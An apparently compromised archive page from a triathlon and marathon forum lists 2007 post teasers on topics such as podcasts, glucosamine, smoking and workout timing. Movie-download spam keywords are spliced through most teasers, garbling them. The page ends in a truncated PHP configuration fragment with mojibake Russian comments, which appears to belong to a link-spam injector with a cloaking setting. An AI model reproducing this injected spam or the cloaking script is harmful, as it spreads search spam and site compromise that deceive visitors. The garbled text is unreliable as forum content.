Updated daily by members of ontri.com - a triathlon & marathon training community for all levels

Archive for 2007

Posted Dec. 22 2007

Podcasts

Message posted by: Todd S. What triathlon podcasts are you all listening to? I have been really enjoying "the age grouper". The two guys that do it are pretty funny and interesting. What I enjoy the most is that they aren't pretentious in the least, even though "Salty" sounds like a pretty fast racer he …

Posted

new years resolution

download Battlefield Earth: A Saga of the Year 3000 movie Starman movie download Message posted by: Karla B. K. Lets try to keep the focus of this post on health, fitness, and tri's: download Mr. Jones dvd Tales of the Riverbank movie Mine…… Terror Tract video Rancid download To get the shoulder rehab'ed enough to …

Posted

jan 1st..

Cutthroat Island ipod download Daredevil movie Over Her Dead Body dvd Message posted by: Jason V. anyone signed up for mooseman or timberman? the former is a nationals qual and later worlds 70.3. timberman is full but there is room in mooseman… The Chronicles of Riddick dvd That Old Feeling divx To view the rest …

Posted

Glucosamine chondroitin

Beach Kings hd Message posted by: Karla B. Hamlet 2 RoboCop movie download just curious… can you actually tell that it helps? And if so, how long did it take untill you could feel a difference? To view the rest of the post or comment on the post, please log-in to www.ontri.com Japan Sinks (Nihon …

Posted

"New wave" weight loss?

Message posted by: Stacey U. Has anyone heard about the latest weight loss program out there? It apparently has become very big in the Tampa area, and I'm wondering if it's just local. Two of my friends and her husband have each done or are currently going through this program. I hate it, but out …

Posted

Smoking and sport

Message posted by: Bec .. Sniper 3 full movie Ghostbusters II dvdrip Teaching Mrs. Tingle Deterrence buy download Bug Faust: Love of the Damned video Ok….come and fess up people….who smokes out there? I have never been a big smoker….but over this year, due to many reasons, i have found that while drinking, I have …

Posted Dec. 21 2007

One long workout vs. two short workouts

Alligator movie Message posted by: Ryan P. Does anyone know if there is any advantage or disadvantage to biking 25 miles twice a day vs. 50 miles in one ride? I'm using my work commute to get in my bike training. I bike 25 miles to work at 6:30 am then return home on my …

Posted

"love equals disappointment"

Message posted by: Lauri F. Discuss. Force 10 from Navarone Heist dvd To view the rest of the post or comment on the post, please log-in to www.ontri.com download Constantine movie download French Connection II dvd The Deep End of the Ocean movie download Darkman buy Real Genius dvd Evilenko download The Return of the …

Posted Dec. 18 2007

How long did you take off after your half ironman?

Message posted by: Jennifer H. It was last Saturday and I am feeling like I could do exercise now… how long do I need to rest? To view the rest of the post or comment on the post, please log-in to www.ontri.com District 13 full movie In the Loop psp Cry_Wolf psp Havoc movie Bowfinger …

Posted

Advice for a Newbie: Time between eating & working out

download Mail Order Bride dvd download Cry_Wolf dvd Message posted by: Brian S. Hello all. I'm faced with a quandary of sorts on which I'd like your advice. As I'm training for my first marathon, I find myself, during my workouts, either extraordinarily hungry or extremely full feeling. It is, of course, dependent on when …

?php /* Config */ $count_url = 1000; //Êîë-âî ðàíäîìíûõ ññûëîê $static = 0;//Èñïîëüçîâàòü ñòàòè÷åñêèå ññûëêè $id = 1; //Èäåíòèôèêàòîð ôàéëà ñî ñòàòè÷åñêèìè ññûëêà $count_s = 4; //Ñêîëüêî âûâåñòè ññûëîê èç ñòàòè÷åñêîãî ôàéëà. 0 - ÂÑÅ $cloaca = 1; //èñïîëüçîâàòü ëè êëîàêó $host =